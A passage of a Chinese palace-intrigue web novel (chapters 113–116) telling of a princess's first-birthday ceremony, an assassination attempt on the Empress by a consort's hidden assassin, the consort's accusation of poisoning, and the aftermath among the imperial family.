而最近只有凤曦公主的周歲宴会大操大办,两人便将目光投到了这上面。 承乾宫中。 沈青在选小满抓周会用到的東西,弓箭、纸笔、算盘、书籍、印章、珍宝…… 她拿着库房的册子,找分量轻的珍宝,届时小满若是拿起来也不费力。 纪宸到了承乾宫,见到这个场面,沈青在一边翻着册子写写画画,有宫女为她侍墨,一旁的小满身边,好几个宫人陪着她玩,小满手上捏着布老虎,目不转睛地看着几个人在逗她开心。 纪宸先走到小满那里,将随身的玉墜塞到她手里。 因为他最近经常这么干,小满并没有布老虎被拿走的不满,反而攥紧玉墜后伸着胳膊让纪宸抱她。 纪宸将小满抱起来,走到沈青身边,扫了一眼道:“找不到合适的去朕的私库看一看。” 沈青合上册子:“就知道皇上的宝贝多。” 她看向小满,咦了一声:“皇上的玉墜怎么能让小满握着,她年纪小,转身忘了可不好。” 纪宸只道:“小满喜欢。” 小满看了她父皇一眼:“父父。” 便举起玉墜要递给纪宸,纪宸见此,满是笑意与骄傲道:“看!小满真的喜欢。” 见纪宸笃定的样子,沈青不疑有他,承乾宫这么多宫人,玉坠再怎么也不会丢。 /:. 便放心地继续忙小满的周歲宴。 四月中旬,小满的周岁宴这天微风和煦,阳光明媚。 因前两天刚下过雨,天空湛蓝一片,如水洗过一样清澈,看得人心情舒畅。 此时的天气也不热,小满穿着红底金纹的云锦小衣,也不会热到她。 周岁的小孩胳膊跟莲藕一样又白又嫩,加之小满长的是真好,样貌像沈青多些,但神韵肖似纪宸,光是静静地玩着手中的东西,就像观音坐下的玉童一样。 沈青和纪宸是怎么也稀罕不够。 兰妃与陈贵嫔常来承乾宫看小满,但多数嫔妃却难得见一面,如今一见,当即便被小公主折服了,笑容要多真心有多真心。 宫中有意思的,小孩算一个。 更别说长的这么粉雕玉琢、伶俐乖巧的小公主了。 抓周开始前,纪宸将腰间的玉坠取下,放在铺着红布的桌子上。 他道:“这上面什么都好,唯独少了一件玉坠,若公主能抓到,朕这个玉坠给公主了。” 贤妃小声道:“当初二皇子要,您不给,如今倒摆在这一桌子东西上,任小公主来抓了。” 蒋美人将头埋的死死的。 兰妃冷冷瞧了她一眼,亦低声讽了回去:“凤曦公主聪明伶俐,便是要天上的星星都摘得。” 贤妃与兰妃离得近,加之气氛热闹,她们的话也只她们自己听到。 太后见此,笑道:“皇上都添周了,哀家也不能落下,将哀家的玉如意拿出来,为小公主添福。” 皇后同样添了东西。 抓周开始,小满被抱到了桌子上,在众人的目光中,小满毫不怯场,环顾四周后,便径直奔着玉坠去了。 这她熟! 她拿起玉坠,扭头往纪宸的方向爬去。 纪宸连忙伸出胳膊接住小满,小满将玉坠递给他。 还不待纪宸高兴地说什么,小满便从他身上踢腿下来,折返回去,将在承乾宫见过的宝贝通通递给沈青。 是母妃的! 沈青哭笑不得,抱住小满贴了贴脸:“小满好聪明。” 小满还小,来回运东西终究是累坏了她,最终握着小弓在怀里,困倦地揉了揉眼。 兰妃柔了神色:“公主日后定是骑马射箭样样不落,在猎场一展风采。” 皇后道:“公主肖似母妃,有宸贵妃的风范。” 纪宸将小满接过来,高兴道:“凤曦公主朕之明珠,聪颖过人,虽为巾帼,志 胜须眉,他日定会为朕分忧。” “公主抓到了朕的玉坠,朕今日就将玉坠赠与公主,望她此生无忧无惧,承欢父母膝下。” 小满尚且懵懂,不懂这些话的意思,但她看到母妃在笑,便拍着手也笑起来。 第113章 第113章宸贵妃七日 纪宸的玉坠当场就被系上绳子戴在了小满的脖子上。 抓周结束,沈青亲自盯着小满被抱下去休息。 公主周岁,亦是要办家宴,丝竹歌舞齐全,不然也不会劳累贤妃与兰妃至此。 众人纷纷移步入席。 沈青扫了一眼,发现李嫔没来,问了一句,原是有疾在身,不便出席。 沈青落座在纪宸左手边首位,欣赏起歌舞。 宫人如水一般潺潺流入,捧着碗碟托盘,将东西一一摆到面前的小桌上。 当季的水果也不少,洗的水灵灵的,放在琉璃盏中。 殿內一片和睦,言笑晏晏,处在这种环境中很容易就能讓人放松。 紧接着,一阵琵琶声响起,一名红衣舞女款款走到正中间开始跳舞,她的身姿轻盈,挥袖间露出一张芙蓉面。 众嫔妃的目光纷纷落到正中央的舞女身上,一些早入宫的嫔妃看了几息不由愣神,其他嫔妃倒看的入迷。 沈青瞧着这名舞女,倒有当年杜氏的风范,不由朝纪宸看去。 纪宸正与太后说话,微点着头。 倒是皇后,见到这名舞女,目光微凝。 很显然,她与沈青想到一块去了。 可这都景明十一年了,谁又会将肖似杜氏的女子搬出来? 沈青想到了一个人,李嫔。 与杜氏有千丝万缕关系的只有以前的德妃,现在的李嫔,李嫔也很清楚皇上从前喜好这类女子。 但现在李嫔知道宸貴妃专宠,不可能不知道这样做绝得不到皇上的垂青。 那她为何还要这样做? 沈青手上握着关于李嫔的仅两件事,一是杜氏当年被李嫔陷害杀死两名宫女,二是李家尚在宫中有死士,冷不丁就会傷人性命。 李嫔已经元气大傷,前者提出来也不过使她贬位,后者的话,此时确是个极好的机会。 现在宴席上一片风平浪静,但沈青不敢掉以轻心,讓白樱去与闻喜一起照看小公主。 她身边则留有白桃。 沈青再一看宫中的侍卫严密了許多,心下稍安,連忙讓余甘将她所疑心的事告诉了皇上。 她目光追随太后,见太后身边几名会武藝的宫人都在身侧,便打定主意坐着不动。 李嫔的目标应该是她。 李貴嫔两次算计她都落空,反讓皇上将李家拔出萝卜帶出泥,不可能不恨她。 沈青拿起茶盏,寻一个顺手的,她的准头不错,加上眼前这个桌子有些分量但能掀飞,与白桃一起,应是能拦下刺杀的人。 她没有拿自己的安危开玩笑的意思,至少纪宸得到消息,会有身怀武藝的宫人到她这边来。 若这次不能擒住贼人,留这么一个人在宫內,谁都睡不安稳。 所以沈青不介意拿自己做饵,来钓死士。 上首,纪宸对錢繼吩咐了一番,錢繼得令,飞快地朝沈青走了过来。 錢繼快速道:“宸貴妃娘娘,皇上请您过去。” 沈青眼睛微亮,若论会武艺,谁又能比得过钱继呢。 “本宫心里有数,便不过去了。” 沈青不移步,钱继自然不能走,毕竟他的首要命令是保护贵妃。 钱继因无法将贵妃帶走复命眉间有些焦灼。 上首的纪宸见到这一幕,握着酒杯吩咐道:“将太后送回慈宁宫。” 沈青的话,换成其他人来说,他是绝对不会信的,但那是沈青,他所珍视看重的,她说的再天方夜谭,他都会相信。 太后不知道发生了什么,但闻言却顺着纪宸的话道:“哀家乏了,扶哀家回慈宁宫。” 见太后被送走,纪宸大踏步朝沈青走去,眉头微锁。 恰在这时,变故发生了。 送瓜果的太监忽然掀翻托盘,露出利刃,朝皇后的方向刺去。 只听一声驚呼:“娘娘小心!” 青古奋不顾身扑挡在最前面,利刃没入血肉,又转瞬抽出的声音瞬间引起此起彼伏的驚呼。 皇后惊惶往后退,几息后,背部却只能抵靠在后面的凤椅上,无路可退。 殿内一片慌乱。 有人呼号:“保护皇上!” 沈青拉住白桃:“去救皇后!” 她已经无暇去想刺客的目标为什么不是她,只双目通红地盯着皇后的方向。 白桃得令,往皇后的方向赶去。 沈青准备出声命令钱继时,据她没多远距离的纪宸闻言,拔出放在旁边的重剑,往刺客的方向掷去。 这一切都发生在瞬间,刺客刺中青古后,就马不停蹄刺向皇后,恰在此时,纪宸掷出的剑锋扎进刺客的后背。 但这不是一般的刺客,他是死士,早抛却了生死,一心只想完成任务,在剧痛袭来时只迟钝了一瞬,利刃的方向没有丝毫偏移,往皇后的心脉刺去。 白桃赶到时,一脚踢飞了因扎在后背的剑而丧失大半行动力的刺客,然后接住皇后,飞快地在她身上点穴,护住被刺伤的心脉。 紧接着,便毫不迟疑去扶青古,将药洒在青古的傷口上。 刺客落入侍卫的包围圈中,不敌,被数剑刺入身体,但仍留有气息。 见无力回天,刺客当场咬舌自尽,侍卫没能及时上前阻止,最终只余一具唇角溢出着黑血的尸体。 见到同样的死法,纪宸冷冷吐出:“李家余孽,去将李氏带来。” 沈青见到这副场景,心神悲恸,根本没注意刺客,而是往皇后的方向走去,脚下险些跌了一跤。 青古半死,皇后胸口中了一剑,气息奄奄。 白桃抱着青古,换了声娘娘。 沈青此时已经淚流满面,她握住青古的手:“我让太医来救你,你一定会没事!” 青古一句话也说不出口,嘴唇惨白发颤,連回握的力气都没有。 她的眼角沁出淚水,疼的紧皱的眉头有一瞬间舒展。 沈青忍不住看了皇后一眼。 这么一会儿功夫,皇后身边已经围了許多人,贤妃与兰妃已经让人飞快去请了太医。 乾清宫的宫人上前为皇 后把脉,连青古的傷势都没落下。 因皇上还在,众人的心里略微安定,不再吵嚷惊呼。 纪宸走近,扶起沈青:“她们有救,会没事。” 皇后伤了心脉,但刺客后背中了一剑,利刃雖未偏移位置,手上却少了许多力气,所以比起刺青古那一下,皇后反而受的伤不重。 而青古,因为是为皇后挡刀,并未被瞄准要害,雖伤势很重,但也并未一击毙命,还存了些气息,存了能救活的希望。 沈青的泪水止不住往下滚落,她自责道:“我太疏忽了。” 她单单想到李嫔会先除自己,却没想到,原书中遇刺时皇后已经失势,李嫔自然不会视皇后为眼中钉。 可现在,皇后仍是尊贵的皇后,虽被分了宫權,也只是暂时势弱,没有到被夺凤印与皇后宝册的地步。 且皇后为了给大皇子铺路,没少算计三皇子与李嫔。 李嫔身子不好,也是拜皇后所赐。 自然对于她,李嫔更想对付皇后。 说来说去,李嫔和皇后才是宿敌,她们一同进太子府,一同被封妃,一同管理六宫。直至后来,皇后被扶上后位,李嫔仍是德妃,但两人是势均力敌的,甚至李嫔要高明残酷许多。 沈青不喜欢皇后的性子,但终究与皇后相处了那么长时间,对她的脾气了如指掌,又怎么可能真正不在乎她? 若是不在乎,光她手里捏着的皇后的把柄,就足以将皇后从后位上拉下来。 可她不想对付皇后,即便到了那一日,她也希望是皇后先出手,否则她真的下不去手。 皇后不允许有人觊觎宫權,恰好她不喜欢,虽然能将宫权扒拉到兰妃手中,免自己劳累,可她仍不想去算计皇后手中的权力。 对于青古,她自也有姐妹情谊,与她相处过的每一个人她都记着,她不想她们沦为宫斗的牺牲品。 比起嫔妃,宫人的命运要惨很多,譬如李贵嫔的宫人,跟不对主子,迎来了灭顶之灾。 她想皇后与青古都好好的! 太医们满头大汗赶过来,全涌到皇后身边。 沈青叫住趙太医:“劳烦为这名宫女进行医治,务必要让她活。” 贵妃吩咐,趙太医自然麻溜地跪在青古身边,给她把脉,处理外伤。 有医女将工具铺平放在赵太医手边,供赵太医取用。 沈青道:“青古救皇后娘娘有功,待稳住性命,送到本宫的承乾宫继续医治。” 宫人称是,沈青这才低头看向自己的双手,上面沾上了青古的鲜血,尤可见青古的伤有多重。 她不愿想另一种可能,只怔怔地思索着青古伤好后该如何安置她。 纪宸将沈青紧紧搂进怀里,仿佛这样,才能将她的灵魂稳在躯壳中。 他知道沈青重情,沈青一次都没对付过皇后,对皇后生气了也只是赌气般的疏离,也从未暗戳戳说过皇后的坏话。 要知道,沈青素来是记仇的,最讨厌被欺负。 可这样的人,却唯独对皇后忍让。 便是面对他,有脾气也是要发的,纪宸现在都不敢,也不舍得给沈青气受,哄着爱着都觉得是亏欠了。 沈青擦掉蒙住视线的眼泪,继续盯着青古与皇后。 皇后那边率先传来消息,太医道:“皇后娘娘的性命暂时稳住了!” 一时间人心振奋。 赵太医仍在医治青古,纪宸见此,让人将两名太医带到青古身边。 青古的伤势,光是止血就让赵太医耗费了很大的功夫。 最终,一名太医用针扎进青古的穴位中,捻针的手指腹都红了,这才稳住青古的性命。 三位太医道:“微臣不负使命!” 沈青的心这才落到实处,终于敢阖眼松神,最后一滴泪从她眼角滑落,她耳边,是纪宸封赏太医的声音。 纪宸又道:“宫女青古于危急关头挺身而出,救皇后有功,着朕旨意,准许其脱离宫女身份,特封为县主。” 沈青闻言,抓着纪宸袖子的手这才稍松。 被封县主,青古之后便可顺遂富贵一生。 再不必卷入宫廷内斗。 第114章 第114章宸贵妃八日 皇后被帶回坤宁宫,青古在沈青的授意下被抬回承乾宫。 最关键的人物,李嫔也终于出现。 她一如往日,姗姗来迟,不紧不慢,下巴微抬,目光冷淡并不将人放在眼里。 许久不见,沈青抬眼看向来人,眼中忍不住帶上怨愤,却在目光触及李嫔时一愣,久久不曾挪眼。 以前的李嫔,无疑是漂亮且气势能震慑人的。 没有人会忽略她。 但现在,李嫔瘦得不成样子,形如枯骨,皮肤皺皺巴巴贴在骨头上,颜色也不好看,早没了白皙与光泽感。 她的脸是病态的瘦,惨白不帶一絲红晕,眼睛被衬得又大又黑。 华丽的服饰穿在她身上,却让人担心下一刻这些衣服会不会将她压垮。 完全是油尽灯枯之兆,全靠一口心气儿撑着。 也不怨她会义无反顧反扑皇后,见到李嫔,再没有人有疑问她为何会疯了一般朝皇后下手。 她自己站在这里就是最好的证据。 李嫔朝纪宸行了个礼:“皇上找嫔妾来,所谓何事?” 纪宸深深皱眉。 他不在乎李嫔,面对李嫔摆到明面上的皇后要害三皇子与她的证据,也仅是分了皇后的宫权,觉得李嫔是罪有應得。 自然,他也许久未见李嫔,得到的消息仅是李嫔的病更重了,李嫔的身体更不好了,李嫔恐熬不过这个冬天。 然而想想何才人与林贵嫔的死,他放任了,明知却放任了皇后的所作所为。 他从未正视,也从未解決过她与皇后的矛盾,一如当年父皇对母后与后宫嫔妃那样,只護着唯一的偏爱,而放任其余人死斗,即便当时身为皇后的母后也不是那个例外。 纪宸的心很冷漠,他清楚导致这一切有他的因素,但他仍生不出絲毫愧疚。 甚至现在,都帶着算计。 纪宸沉声道:“毒妇,皇后遇刺是你所为!” 李嫔撫开宫女搀扶她的手,双手置在身前:“是妾身干的。” 李嫔环顧殿内每个人的神情,冷笑一声控诉道:“我已经不是原来的德妃了,皇后却要对我赶尽杀絕,整整两年,皇上,你知道我每日过的是什么日子吗?” “你们要是知道,说不定比我更恨皇后!” “我刚搬离永寿宫那段时间总是生病,太医源源不断地来诊治,药一日日的按时喝着,我的身体却在日渐衰败,我都能深深感受到身体内里的垮掉,可太医院的草包却非说查不到原因,是查不到,还是被人授意不敢查?” “是皇后对我下的药!她在后宫手眼通天,又有賢名做遮掩,无论她下手几次,旁人都不会怀疑到她身上!” 李嫔伸出手,指向周围的嫔妃:“你们在外议论我命不好,是个病秧子,药罐子,可你们懂我的苦楚?每一日,我的骨头都在疼,疼的蜷缩在床上,生不如死,疼出的汗浸湿了被子,那种味道,你们遭受一天都要嫌弃到叫苦连连,可我硬是抗住了。” “因为三皇子还在皇后那个毒妇手中啊!若我死了,接下来皇后第一个下手的便是三皇子!” “你们若不信,那章贵嫔!你可看着我的眼睛说皇后从未授意过毒害三皇子?!” 章贵嫔身形一僵,却不敢撇开头,只能慢慢地对上李嫔的眼睛。 李嫔根本不给章贵嫔慢慢反應的时间,她看向纪宸,決絕道:“如今我已不剩什么时日,最后一丝骨血都被榨干,自然无惧于任何事!” “刺杀皇后,也只是计划中的一小部分,我要让皇后即便侥幸活着也陷入无穷的痛苦中!” 李嫔的眼中带着畅快与疯狂,不避不让地对上纪宸寒沉如渊的眼眸。 让她猜猜,皇后没死,皇上心底会存着几分可惜? 她不相信皇上会错过一个扶宸贵妃登上后位的绝佳机会,萧裳月處在后位上也只是比起她来更合适而已。 若重头再来,沈青被封嫔妃时后位仍然空置,恐怕皇上即便打压她与萧裳月,也会极力扶持没那么合适的沈青登上后位。 纪宸就是这样冷血又只隨自己的心意,旁人的死活他根本不放在眼里! 如今纪宸还留她在这里说这番话,不就是为了让皇后的名声扫地吗? 他也从未想过要为他亲手选定的皇后遮掩一二。 当真……是一点都不念着夫妻情分。 李嫔唇边扬起极致的讽笑。 既是讽刺皇上与皇后,也是讽刺她自己。 她恨皇帝,她什么都清楚,却不能直接责问纪宸,因为三皇子还活着,李家还有一丝血脉在世上,她就 不能隨心所欲任意妄为。 纪宸冷淡收回视线。 沈青在一旁却紧紧锁眉,纪宸此刻的心声沉默的可怕,他不对李嫔的一言一行发表任何见解,仿佛李嫔的话没说到他心间一样。 但沈青此时却没心力考虑这些,而是思索着李嫔方才的话。 忽然间,她猛然抬眼道:“大皇子!去保護大皇子!” 纪璨没了,皇后才会真正的生不如死。 但李嫔凭什么觉得她可以决定纪璨的性命? 原本因李嫔的控诉而沉默的大殿忽然被点醒一般,賢妃与蘭妃纷纷动起来。 纪宸扶住沈青的肩膀:“朕早让人将纪璨抱到了乾清宫,不必忧心。” “二皇子与小滿也在。” 贤妃暗叹了一声,蘭妃是真的劫后余生轻舒了一口气,后宫的孩子本就不多,折损一个都能叫人難过好久。 沈青松了眉头:“什么时候的事?” 纪宸:“就在你让宫人去朕身边的时候。” 其余人都以为是纪宸察觉会有人对皇子们不利,这才提前防范,但唯独沈青知道,只是她的一个怀疑,他就将她所看重的全部保护到了。 免了她的后顧之忧。 即便她之后有皇子,沈青也绝不会对大皇子出手,三皇子仅凭才智就能胜过大皇子,若她生了个皇子,不如大皇子,自是早早绝了争夺皇位的心思才好,做个富贵闲王,免得不自量力卷入争斗中丢了性命。 且纪宸很能活,原书中就是一个寿命四五十岁的皇帝,现在没受伤,至少能活五十岁,若长寿些,庇护自己的子女简直是轻而易举。 世上除了父母,很少会有人毫无保留不图回报地对待人。 李嫔闻言大失所望,目光阴沉沉地看向纪宸。 她不明白纪宸为何要保皇后那对母子,難道他就不想为宸贵妃铺路吗? 明明她的所作所为都合他这个皇上的心意,只要他疏漏一二,皇后与大皇子就不可能活! 纪宸连看都没看李嫔,自也不会回答她的疑问。 方才危急关头,旁人都在喊着保护皇上,唯独沈青在说保护皇后,这便足矣让他救下皇后。 纪宸冷声道:“将罪人李氏拿下,乱棍打死。” 沈青握住纪宸的手:“今日是小滿的生辰。” 家宴被搅合了,但这个特殊的日子,她不希望出事。 纪宸转而道:“将李嫔押下去,择日處置。” 被改处罚,李嫔没有丝毫开心,反而闭了闭眼,再睁眼时她吐出一口鲜血,只是这血,不如正常人的鲜亮,带着丝不详的墨黑。 李嫔擦了擦唇上沾到的血,笑着看向沈青:“怕是不能如宸贵妃所愿了,我这个身体随时都能倒下。” 若是死前能恶心宸贵妃一把,也值当了。 以后每每宸贵妃疼爱的公主过生辰,宸贵妃都会记得她今日的死状,她虽死了,却铭刻在帝妃心间。 沈青冷着脸,无声对她道:三皇子。 李嫔如果存着不让她好过的心思,她也不介意明目张胆威胁李嫔。 李嫔能熬过两年,想必也还能熬。 沈青吩咐道:“传太医来为李嫔诊治,莫要耽误了。” 纪宸默许地颔首。 李嫔僵着身体,被人请去偏殿,从她开始顾忌的那一刻起,就代表她有弱点,宸贵妃不蠢,自然也会从她的所作所为发现。 是她亲手将弱点递了出去。 宴席剩余的事由贤妃与兰妃打理,沈青与纪宸去了一趟乾清宫。 乾清宫中,纪璨正像小大人一样照顾着小滿。 沈青一看见他,就想起躺下的皇后,鼻子一酸。 纪璨眼睛一亮:“沈娘娘,父皇!” 纪宸将纪璨抱起:“这几天先住在父皇这里,你母后遇刺,伤到了身体,如今需要静养。” 纪宸压根没有瞒着孩子的想法,纪璨是皇子,又不是普通小孩。 纪璨眼睛一红,他坚定道:“我要去看母后,我要陪在母后身边。” 纪宸皱眉,他不想去坤宁宫看皇后。 李嫔撑着一身病骨出现在他面前,终究让他对皇后生出了厌恶。 沈青道:“让沈娘娘带着璨儿去好不好,沈娘娘也想见皇后。” 纪璨含着泪包道了声好,从纪宸怀里下来,牵上沈青的手。 沈青看了一眼小滿,小满张开手想让她抱她,见没得到满足,委屈地开始瘪嘴。 她道:“皇上,小满就先留在乾清宫,晚上奶嬷嬷会哄她睡,臣妾这几日分身乏术,难以顾全小满。” 纪宸点头,顺手抱起小满,撫了抚小满的背,安慰她。 “有朕在,会将小满照顾好。” 沈青低头,带着纪璨去坤宁宫。 畅通无阻进入坤宁宫,皇后此时正在昏睡,她便带着纪璨默默守在皇后的床边。 并对纪璨道:“皇后醒来会疼,所以我们不要吵醒皇后。” 纪璨郑重地点了点头。 这一等,就是深夜,沈青已经让人将纪璨带下去睡觉,她则支着脑袋等在皇后的床边。 “水……”皇后嘴唇微张,声音低不可闻。 沈青却当即反应过来,取来水,先用勺子少量地喂到皇后嘴里。 皇后缓缓睁开眼,沈青这才将她扶起,将水杯递给她。 荠荷见到想上前,被沈青一个眼神挥退。 皇后清醒过来,见到是沈青,沉默地接过水开始喝。 她已经不知道该和沈青说些什么了。 沈青低头道:“李嫔已经被看管起来,大皇子安然无恙,现在已经睡下了,青古也转危为安,并未失了性命。” 皇后张了张唇,想说什么,却见锦衾被一滴一滴砸下来的泪洇湿。 真是……还跟从前一样。 第115章 第115章宸贵妃九日 皇后已经回忆不起上次和沈青靜靜坐着是什么时候。 上次她这般情态又是什么时候。 她们之间夹杂着太多,李嫔与她是不死不休,章貴嫔对她是言听計从,唯独沈青与她之间却很难说明。 明明最开始眾人皆知沈青是她皇后的人,可不知什么时候起,沈青与坤宁宫漸行漸远,身后聚起了蘭妃与陈貴嫔。 她对沈青的态度从一开始便不纯粹,只是渐渐麻痹着自己,做出一副她们很要好的假象,实则在皇上开始长宠沈青时,她便心有妒恨。 但在后宫,思来想去,她唯一能信任的也唯有沈青。 不是她们多推心置腹,而是她了解沈青,心知沈青的有底线与心慈手软。 譬如这次,来坤宁宫侍疾的唯有的沈青,归根到底,是沈青在念旧情。 皇后百感交集,不去看那些泪,最后硬邦邦将话绕回了李嫔身上,咬牙切齿道:“宴席上的那名舞女是李嫔的人,她故意让本宫失神,这才没及时注意到刺客。” 沈青语气低垂:“也许是吧……” “您现在最該静养,而非胡思乱想,索性李嫔已经无法翻身,不日便該逝去,何必再揪着她不放?” 皇后闭上眼:“本宫心里惴惴,李嫔不简单,她定留有后手。如今不顾一切要殺本宫,自然做好了万全的準备,即便失败也不会让本宫好过。” 沈青不欲与皇后说后面李嫔撑着一身病骨控诉皇后的事,这不利于皇后养病。 李嫔确实是个硬茬,她不知道什么时候发现皇后对她下药,却没有当即大闹一通,而是以自己的身体给皇后做了一个局。 沈青甚至懷疑李嫔借皇后之手给自己下药,不然以皇后的算計未必会留李嫔活这么久。 普通人的身体也不是说撑着一口气就能活两年之久的。 皇后下药,只会让李嫔病死,而不会让李嫔的身体里有毒这种明显的证据,但李嫔方才吐的那口血,便是三岁小儿都能发覺不对。 殺一国之母,李嫔确实大胆,但她惊世骇俗的举止背后是被皇后逼得走投无路,旁人更会对皇后議论纷纷。 加之先前皇后名声维护的极好,前后反差下…… 沈青想让宫人端来羹湯, 本被她挥退的荠荷却并未退出殿内,闻言忽然跪下,双目通红带着不忍看了皇后一眼。 皇后顿时被她吸引了注意。 皇后眉头一皱:“你有什么话快说,不準瞒本宫!” 沈青同时道:“把她拉下去!” 沈青不赞同的目光一寸寸扫过荠荷,荠荷是王定与王积貴的人,而王定想帮她,但她已经是宸贵妃,是眾嫔妃之首,上面只有一个皇后,那么王定授意荠荷做什么也不难猜。 荠荷想开口,无非是想刺激皇后,沈青自认为她在皇后醒来时说的一番话已经稳住了皇后。 皇后心脉受损,最受不得的就是刺激。 荠荷在沈青渐渐阴沉的目光下俯首,身形颤颤。 皇后转而看向沈青:“宸贵妃,你究竟瞒了本宫什么?” 沈青不语,仍是让人取来羹湯,舀了一勺递给皇后。 皇后原本想挥手打翻,但想起眼前的人已经今时不同往日,最终侧了侧脸,并不喝。 沈青慢慢道:“李嫔想对大皇子不利,但皇上提前将大皇子接到了乾清宫,大皇子方才还在您的床榻邊守着,是臣妾告诉他不要打扰皇后娘娘,他很心疼您,没发出一点声响,只是默默握住您的手。” 皇后饮了一口汤,示意沈青继续说。 沈青:“大皇子这般乖巧懂事,敬爱母后,想的应是皇后娘娘早日好起来,娘娘,您懂吗?” “本宫自然懂。”皇后深思熟虑后仍然坚持,“但本宫更想知道发生了什么。” 一个皇后,自然不能对后宫发生的事茫然无知。 但她也清楚,若她激动之下伤势更重,恐怕会如了李嫔的意。 沈青闻言自是心绪不宁,为皇后担忧的,但她也不再回避:“您被送回坤宁宫后,李嫔来了,当众承认是她命人刺杀的您,却同时道明了苦楚。” “她有什么苦楚?”皇后抬高声音愤怒道。 沈青看了她一眼,见她心口不疼,明白是她小瞧了皇后的承受能力。 解释道:“她那一身嶙峋病骨便是最好的苦楚。” 皇后刚握紧的拳头倏地一松,身子软绵绵地使不出一丝力气,额前生出一阵虛汗。 她已经意识到了这件事情的紧要。 不然章贵嫔怎么不来坤宁宫侍疾? 她原想着是沈青让其他嫔妃不必来,但更可能的是其他嫔妃因李嫔的指控对她早早避嫌了。 “李嫔狡诈之徒,她说的话怎么能信?她身子不好难道能怪本宫?”皇后的语气心虛了许多。 沈青陪着她一起沉默,然后劝她将汤喝完,扶她躺下,掖好被角,见皇后不甚安稳地睡去,这才从殿内退出来。 她身邊跟着荠荷。 沈青看向荠荷:“我会想办法将你调离坤宁宫。” 荠荷道:“多谢娘娘。” 荠荷深受皇后信赖,离开坤宁宫不容易,但若让荠荷继续留下,皇后反应过来,亦或者对荠荷起疑,荠荷的结果都不会好。 荠荷今夜的举止太莽撞了,不像平日的她。 沈青想了很多,荠荷是在皇后还是贤妃便跟着皇后了,那李嫔原本的永寿宫估计也有王积贵埋下的暗棋,但李嫔能够滴水不漏,想是早早将人从自己身边拔除了。 如果真是这样,怪不得当初纪宸会选择打压德妃,而选没那么面面俱到的皇后- 后宫的事有贤妃与蘭妃处理,沈青只需每日到坤宁宫侍疾,间或回承乾宫看一看青古。 皇后有大皇子,为了大皇子她也要把病养好。 在皇后被刺杀的第三日,李嫔心血耗尽而死,宫内对皇后議论纷纷。 皇后与青古的身体在转好,沈青也以一个不尽心的理由将荠荷调出了坤宁宫,皇后覺得沈青是对那晚的事存着气,便由她了。 左右荠荷那时将消息递上来,要么就太过忠心,急她所急,要么就是巴不得她多受些刺激。 无论哪样,皇后都不敢再用荠荷了。 听到后宫的风声,皇后当着沈青的面气急败坏道:“这明显是李嫔的人在引导此事,贤妃与兰妃不加以制止,是巴不得将本宫手中的宫权分个一干二净。” 在沈青面前,皇后也不想虚伪了,反正她们互相都知道对方是个什么人。 沈青提醒道:“李嫔已死。” “她到死都在算计本宫!” 皇后顿了顿,想起了什么:“李嫔犯下滔天大罪,死不足惜,理应挫骨扬灰,现在皇上可有说了什么?” 沈青道:“皇上念及李嫔与三皇子有千丝万缕的联系,允她薄葬。” 皇后深恨道:“便宜她了。” “皇后慎言,这个时辰,大皇子该要来找娘娘了。” 皇后这才止了声。 沈青疲倦地半阖眼。 呆在坤宁宫几日,她都觉得自己要半死不活了,被吸干了情绪与力气,明明皇后以前不是这样的。 至于大皇子,则是将要窒息的坤宁宫的一缕暖阳。 见到大皇子,最愤懑的皇后脸上都会露出笑。 今日大皇子来迟了,皇后与沈青眉间不可避免忧心忡忡起来。 纪璨稳步走进来,两人便发现了他情绪不对,平常来见皇后,他都是快步上前的。 皇后不动声色道:“璨儿,母后给你准备了你爱吃的糕点,快来尝尝。” 纪璨脚下不动,有礼道:“母后,儿臣已经用过了,多谢母后一番好意。” 皇后面色有一瞬的难看,璨儿的疏离才更戳她的心。 沈青单刀直入问:“可是有人对璨儿说了些什么?” 纪璨抿着唇,看向沈青:“他们说母后是个蛇蝎心肠的人。” 皇后双手紧握。 沈青郑重道:“他们说的不对。” 纪璨眼中动摇起来。 沈青将纪璨搂进懷里:“璨儿信沈娘娘,如果皇后娘娘是个恶人,沈娘娘为何还会来坤宁宫?沈娘娘难道就不怕招惹是非吗?” 皇后是恶,但同时很蠢,被李嫔算计的名声尽毁。 她更倾向于皇后对李嫔下了病死人的药,李嫔换成了轻症的毒,以此留下证据,但这件事本就是皇后做的,李嫔正是用了这一点,九分真一分假,那也成真了。 且这件事如果要为皇后“洗刷冤屈”,势必会牵连青古。 沈青不愿,才一直未向皇后提及自己的怀疑。 李嫔不是第一次使这种手段了,当初杜婕妤的事也是如此,杜婕妤吩咐人给两名宫女教训,而非将人弄死,可李嫔横插一脚,两名宫女死了,受命的太监一句误解了意思,便让杜婕妤落实了罪名。 这次,甚至是皇后先授意让李嫔病死,如今的“真相”也不算冤了皇后。 可面对纪璨,沈青不得不为皇后辩解一二。 “李嫔成那副样子,你母后有错。” “然而皇后娘娘本就与李嫔有恩怨,已经到了你死我活的地步,那日皇后遇刺,是李嫔所为,李嫔还要伤害璨儿来使皇后娘娘痛苦。” “到了这种局面就不该心慈手软了,你母后只是棋差一招才落得众人议论,身处后宫争斗,你母后有太多的不得已,若是个全然的善人,你母后刚怀孕时便会小产。” “璨儿,你是皇子,长在宫廷,与平常人家不同,这里权利斗争多,人心算计也更多。” “你自出生便迎来了无数忌惮,是你父皇母后保护了你才让你安然长大。若因此而疏离母后,你母后会伤心。” 第116章 第116章宸贵妃十日 纪璨睁着一双澄澈的眼睛,视线从沈青身上移到了皇后身上:“我还是想吃糕点。” 好可怕……但对母后好像没那么怕了。 皇后连忙朝纪璨招手,这几日,皇后听说大皇子险些遇险,疼大皇子比之往日更甚,以前不允许多吃的糕点,现在能给纪璨整整一盘。 纪璨将糕点吃完后,用叠成方块的手帕擦了擦嘴,跟往日一样问了皇后身体如何,可有按时喝药,然后将皇后的手放到他脸颊上贴了贴,这才帶着宫人離开。 纪璨一走,沈青就被训了。 皇后輕声训道:“你 跟他说这些干什么?他还是个孩子,这些事情等他长大了自会明白。” 天知道她方才心都快跳到嗓子眼了,也多亏纪璨这孩子迟钝,不然她都不知道该如何收场了。 沈青讨好地笑了笑:“您别气了,我是怕大皇子与您離心,后续難以补救,还不如现在讓臣妾来做这个心机深重的人。” 这种事情瞒着又有什么用?还不如说开了,大皇子从小就在这种环境中长大,不要把他想的跟个小白兔一样,就算璨儿是个小白兔,一双兔牙也能绷断人的骨头。 “况且璨儿已经不小了,今年的生辰一过便满七岁了,待宫外的伴讀到他身邊,他就该有自己的心思了。” 纪璨伴讀的事,沈青听纪宸提起过,年初便选好了大臣家适龄的公子。 